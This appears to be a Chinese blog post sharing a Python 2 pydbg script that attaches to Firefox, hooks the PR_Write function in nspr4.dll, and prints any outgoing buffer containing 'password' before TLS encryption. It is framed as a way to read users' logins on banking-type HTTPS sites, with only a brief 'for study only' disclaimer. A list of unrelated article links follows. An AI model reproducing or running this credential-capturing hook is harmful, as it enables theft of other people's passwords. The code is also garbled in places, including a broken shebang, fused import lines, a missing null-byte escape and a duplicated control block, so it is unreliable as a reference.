python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
Python制作CSDN免积分下载器
Mar 10 Python
Python命令启动Web服务器实例详解
Feb 23 Python
Python 高级专用类方法的实例详解
Sep 11 Python
Django admin实现图书管理系统菜鸟级教程完整实例
Dec 12 Python
python实现xlsx文件分析详解
Jan 02 Python
python+matplotlib绘制饼图散点图实例代码
Jan 20 Python
Python实现的圆形绘制(画圆)示例
Jan 31 Python
python实现多线程行情抓取工具的方法
Feb 28 Python
pandas 对series和dataframe进行排序的实例
Jun 09 Python
pytorch训练imagenet分类的方法
Jul 27 Python
Python pickle模块实现对象序列化
Nov 22 Python
Python Tornado核心及相关原理详解
Jun 24 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
PHP-CGI进程CPU 100% 与 file_get_contents 函数的关系分析
2011/08/15 PHP
thinkPHP框架实现多表查询的方法
2018/06/14 PHP
Javascript 网页水印(非图片水印)实现代码
2010/03/01 Javascript
De facto standard 世界上不可思议的事实标准
2010/08/29 Javascript
javascript tips提示框组件实现代码
2010/11/19 Javascript
解析window.open的使用方法总结
2013/06/19 Javascript
基于JQuery制作可编辑的表格特效
2014/12/23 Javascript
实例讲解javascript注册事件处理函数
2016/01/09 Javascript
jQuery图片旋转插件jQueryRotate.js用法实例(附demo下载)
2016/01/21 Javascript
ashx文件获取$.ajax()方法发送的数据
2016/05/26 Javascript
JavaScript中的this使用详解
2016/07/27 Javascript
深入讲解xhr(XMLHttpRequest)/jsonp请求之abort
2017/07/26 Javascript
vue中遇到的坑之变化检测问题(数组相关)
2017/10/13 Javascript
微信小程序支付之c#后台实现方法
2017/10/19 Javascript
vue.js 底部导航栏 一级路由显示 子路由不显示的解决方法
2018/03/09 Javascript
浅谈express.js框架中间件(middleware)
2019/04/07 Javascript
vue实现todolist基本功能以及数据存储功能实例详解
2019/04/11 Javascript
详解JavaScript实现动态的轮播图效果
2019/04/29 Javascript
Vue实现腾讯云点播视频上传功能的实现代码
2020/08/17 Javascript
vue中defineProperty和Proxy的区别详解
2020/11/30 Vue.js
PyQt5 pyqt多线程操作入门
2018/05/05 Python
Python实现FTP弱口令扫描器的方法示例
2019/01/31 Python
用Python实现将一张图片分成9宫格的示例
2019/07/05 Python
django url到views参数传递的实例
2019/07/19 Python
Python调用.NET库的方法步骤
2019/12/27 Python
Python使用itcaht库实现微信自动收发消息功能
2020/07/13 Python
python如何提升爬虫效率
2020/09/27 Python
Scrapy 配置动态代理IP的实现
2020/09/28 Python
EJB与JAVA BEAN的区别
2016/08/29 面试题
公司周年庆典邀请函
2014/01/12 职场文书
《三顾茅庐》教学反思
2014/04/10 职场文书
杭州黄龙洞导游词
2015/02/10 职场文书
保研推荐信范文
2015/03/25 职场文书
法制教育讲座心得体会
2016/01/14 职场文书
《你在为谁工作》心得体会(共8篇)
2016/01/20 职场文书
经典法律座右铭(50句)
2019/08/15 职场文书